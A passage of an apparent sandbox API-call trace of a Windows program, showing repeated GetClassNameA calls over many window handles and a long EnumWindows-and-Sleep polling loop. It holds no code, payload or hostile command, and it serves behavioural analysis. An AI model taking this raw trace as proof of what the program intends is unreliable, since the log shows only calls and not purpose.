lpClassName="Dwm") returned 3 [0198.868] GetClassNameA (in: hWnd=0x10192, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0198.868] GetClassNameA (in: hWnd=0x302ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0198.868] GetClassNameA (in: hWnd=0x100cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0198.868] GetClassNameA (in: hWnd=0x10136, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.868] GetClassNameA (in: hWnd=0x10178, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.868] GetClassNameA (in: hWnd=0x1016a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.868] GetClassNameA (in: hWnd=0x1015a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.868] GetClassNameA (in: hWnd=0x10186, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.868] GetClassNameA (in: hWnd=0x100ca, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0198.868] GetClassNameA (in: hWnd=0x1007a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x30246, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x202fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x20214, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x1035c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x1035a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10358, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10356, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10354, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10352, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x1034e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x901f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x1034c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x1034a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10348, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10346, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10344, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.869] GetClassNameA (in: hWnd=0x10336, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x10332, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x10330, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x1032c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x1031c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x10318, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x10316, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x1030a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x10306, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102f6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102e0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102cc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.870] GetClassNameA (in: hWnd=0x102c2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x102be, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x102b4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.871] GetClassNameA (in: hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.872] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0198.873] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0xb0038, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0198.873] Sleep (dwMilliseconds=0x64) [0199.102] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.102] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0199.102] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0199.102] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0199.102] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0199.102] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0199.102] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0199.102] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0199.102] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0199.102] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0199.102] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0199.102] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0199.102] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0199.103] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0199.103] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0199.103] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0199.103] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0199.231] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0199.231] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0199.231] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0199.231] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0199.231] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0199.232] Sleep (dwMilliseconds=0x64) [0199.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.389] Sleep (dwMilliseconds=0x64) [0199.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.514] Sleep (dwMilliseconds=0x64) [0199.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.599] Sleep (dwMilliseconds=0x64) [0199.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.686] Sleep (dwMilliseconds=0x64) [0199.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.723] Sleep (dwMilliseconds=0x64) [0199.809] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.810] Sleep (dwMilliseconds=0x64) [0199.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.831] Sleep (dwMilliseconds=0x64) [0199.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.833] Sleep (dwMilliseconds=0x64) [0199.891] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.892] Sleep (dwMilliseconds=0x64) [0199.961] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0199.962] Sleep (dwMilliseconds=0x64) [0200.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.050] Sleep (dwMilliseconds=0x64) [0200.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.052] Sleep (dwMilliseconds=0x64) [0200.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.054] Sleep (dwMilliseconds=0x64) [0200.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.056] Sleep (dwMilliseconds=0x64) [0200.058] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.058] Sleep (dwMilliseconds=0x64) [0200.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.060] Sleep (dwMilliseconds=0x64) [0200.062] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.062] Sleep (dwMilliseconds=0x64) [0200.064] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.064] Sleep (dwMilliseconds=0x64) [0200.068] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.068] Sleep (dwMilliseconds=0x64) [0200.070] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.070] Sleep (dwMilliseconds=0x64) [0200.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.156] Sleep (dwMilliseconds=0x64) [0200.205] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.206] Sleep (dwMilliseconds=0x64) [0200.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.384] Sleep (dwMilliseconds=0x64) [0200.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.491] Sleep (dwMilliseconds=0x64) [0200.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.531] Sleep (dwMilliseconds=0x64) [0200.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.739] Sleep (dwMilliseconds=0x64) [0200.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.781] Sleep (dwMilliseconds=0x64) [0200.801] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.802] Sleep (dwMilliseconds=0x64) [0200.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.897] Sleep (dwMilliseconds=0x64) [0200.899] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.900] Sleep (dwMilliseconds=0x64) [0200.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0200.902] Sleep (dwMilliseconds=0x64) [0201.060] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.061] Sleep (dwMilliseconds=0x64) [0201.077] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.078] Sleep (dwMilliseconds=0x64) [0201.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.175] Sleep (dwMilliseconds=0x64) [0201.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.284] Sleep (dwMilliseconds=0x64) [0201.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.289] Sleep (dwMilliseconds=0x64) [0201.409] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.410] Sleep (dwMilliseconds=0x64) [0201.532] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.533] Sleep (dwMilliseconds=0x64) [0201.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.544] Sleep (dwMilliseconds=0x64) [0201.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.546] Sleep (dwMilliseconds=0x64) [0201.556] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.557] Sleep (dwMilliseconds=0x64) [0201.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.677] Sleep (dwMilliseconds=0x64) [0201.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.780] Sleep (dwMilliseconds=0x64) [0201.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.840] Sleep (dwMilliseconds=0x64) [0201.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.842] Sleep (dwMilliseconds=0x64) [0201.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.844] Sleep (dwMilliseconds=0x64) [0201.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.846] Sleep (dwMilliseconds=0x64) [0201.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.855] Sleep (dwMilliseconds=0x64) [0201.859] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.859] Sleep (dwMilliseconds=0x64) [0201.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.863] Sleep (dwMilliseconds=0x64) [0201.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.865] Sleep (dwMilliseconds=0x64) [0201.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.867] Sleep (dwMilliseconds=0x64) [0201.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.870] Sleep (dwMilliseconds=0x64) [0201.950] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0201.951] Sleep (dwMilliseconds=0x64) [0202.082] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.083] Sleep (dwMilliseconds=0x64) [0202.142] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.143] Sleep (dwMilliseconds=0x64) [0202.192] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.193] Sleep (dwMilliseconds=0x64) [0202.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.196] Sleep (dwMilliseconds=0x64) [0202.198] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.198] Sleep (dwMilliseconds=0x64) [0202.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.200] Sleep (dwMilliseconds=0x64) [0202.202] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.202] Sleep (dwMilliseconds=0x64) [0202.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.204] Sleep (dwMilliseconds=0x64) [0202.208] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.209] Sleep (dwMilliseconds=0x64) [0202.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.210] Sleep (dwMilliseconds=0x64) [0202.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.213] Sleep (dwMilliseconds=0x64) [0202.215] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.215] Sleep (dwMilliseconds=0x64) [0202.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.217] Sleep (dwMilliseconds=0x64) [0202.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.218] Sleep (dwMilliseconds=0x64) [0202.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.221] Sleep (dwMilliseconds=0x64) [0202.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.222] Sleep (dwMilliseconds=0x64) [0202.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.256] Sleep (dwMilliseconds=0x64) [0202.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.332] Sleep (dwMilliseconds=0x64) [0202.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.334] Sleep (dwMilliseconds=0x64) [0202.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.336] Sleep (dwMilliseconds=0x64) [0202.337] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.338] Sleep (dwMilliseconds=0x64) [0202.339] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.340] Sleep (dwMilliseconds=0x64) [0202.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.342] Sleep (dwMilliseconds=0x64) [0202.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.344] Sleep (dwMilliseconds=0x64) [0202.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.346] Sleep (dwMilliseconds=0x64) [0202.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.347] Sleep (dwMilliseconds=0x64) [0202.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.349] Sleep (dwMilliseconds=0x64) [0202.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.351] Sleep (dwMilliseconds=0x64) [0202.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.353] Sleep (dwMilliseconds=0x64) [0202.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.355] Sleep (dwMilliseconds=0x64) [0202.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.356] Sleep (dwMilliseconds=0x64) [0202.358] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.358] Sleep (dwMilliseconds=0x64) [0202.360] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.360] Sleep (dwMilliseconds=0x64) [0202.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.370] Sleep (dwMilliseconds=0x64) [0202.451] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.452] Sleep (dwMilliseconds=0x64) [0202.469] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.470] Sleep (dwMilliseconds=0x64) [0202.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.473] Sleep (dwMilliseconds=0x64) [0202.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.474] Sleep (dwMilliseconds=0x64) [0202.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.476] Sleep (dwMilliseconds=0x64) [0202.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.479] Sleep (dwMilliseconds=0x64) [0202.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.480] Sleep (dwMilliseconds=0x64) [0202.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.482] Sleep (dwMilliseconds=0x64) [0202.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.484] Sleep (dwMilliseconds=0x64) [0202.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.486] Sleep (dwMilliseconds=0x64) [0202.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.488] Sleep (dwMilliseconds=0x64) [0202.490] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.490] Sleep (dwMilliseconds=0x64) [0202.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.492] Sleep (dwMilliseconds=0x64) [0202.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.494] Sleep (dwMilliseconds=0x64) [0202.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.496] Sleep (dwMilliseconds=0x64) [0202.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.497] Sleep (dwMilliseconds=0x64) [0202.498] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.499] Sleep (dwMilliseconds=0x64) [0202.566] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.567] Sleep (dwMilliseconds=0x64) [0202.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.603] Sleep (dwMilliseconds=0x64) [0202.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.605] Sleep (dwMilliseconds=0x64) [0202.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.621] Sleep (dwMilliseconds=0x64) [0202.624] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.625] Sleep (dwMilliseconds=0x64) [0202.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0202.626] Sleep (dwMilliseconds=0x64) [0203.154] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.154] Sleep (dwMilliseconds=0x64) [0203.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.275] Sleep (dwMilliseconds=0x64) [0203.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.278] Sleep (dwMilliseconds=0x64) [0203.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.281] Sleep (dwMilliseconds=0x64) [0203.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.283] Sleep (dwMilliseconds=0x64) [0203.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.285] Sleep (dwMilliseconds=0x64) [0203.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.287] Sleep (dwMilliseconds=0x64) [0203.289] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0203.289] Sleep 